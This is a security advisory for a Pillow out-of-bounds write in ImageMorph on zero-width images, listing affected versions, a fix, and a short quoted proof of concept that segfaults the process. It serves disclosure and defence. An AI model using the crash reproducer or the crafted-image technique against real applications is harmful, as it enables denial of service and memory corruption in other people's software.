---
id: "CVE-2026-112397"
kind: "vulnerability"
aliases: ["CVE-2026-112397", "GHSA-58r4-6rv3-gfh8"]
title: "Pillow: Out-of-bounds access in _imagingmorph on a zero-width image"
severity: "high"
cvss: 8.7
epss: 0.004360000137239695
exploited: false
status: "open"
category: "package"
products: [{"name": "Pillow", "fixed": ["13.0.0"], "affected": "<= 12.3.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-787", "image-processing", "package", "pillow", "python"]
not_affected_if: ["no-imagemorph-usage", "pillow-13-or-later", "trusted-input-only"]
published_at: "2026-10-19T22:17:06+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:19+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-58r4-6rv3-gfh8", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112397", "first_seen_at": "2026-10-23T21:57:19+00:00"}]
---

# Pillow: Out-of-bounds access in _imagingmorph on a zero-width image

Pillow's native morphology code writes outside a buffer when it runs on a zero-width image, which a crafted PPM or PGM file can produce. An attacker who gets an application to open such a file and run ImageMorph on it crashes the process and may corrupt memory.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:Pillow affected <= 12.3.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is 12.3.0 or lower.
Search your code for ImageMorph or MorphOp usage on images from untrusted input.

## Fix

Upgrade Pillow to 13.0.0 or later.
Until then, reject images with width 0 before calling ImageMorph.MorphOp.apply().

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-58r4-6rv3-gfh8
- 2026-10-23T21:57:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112397

## From the sources

### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.

### Details
The PPM parser reads width and height with no lower-bound check:

- `src/PIL/PpmImagePlugin.py:119`

The native `apply()` writes the row edges with no guard that the width is positive:

- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`

`match()` and `get_on_pixels()` use the same edge-indexing pattern.

### PoC
```python
from PIL import Image, ImageMorph

# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```

Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
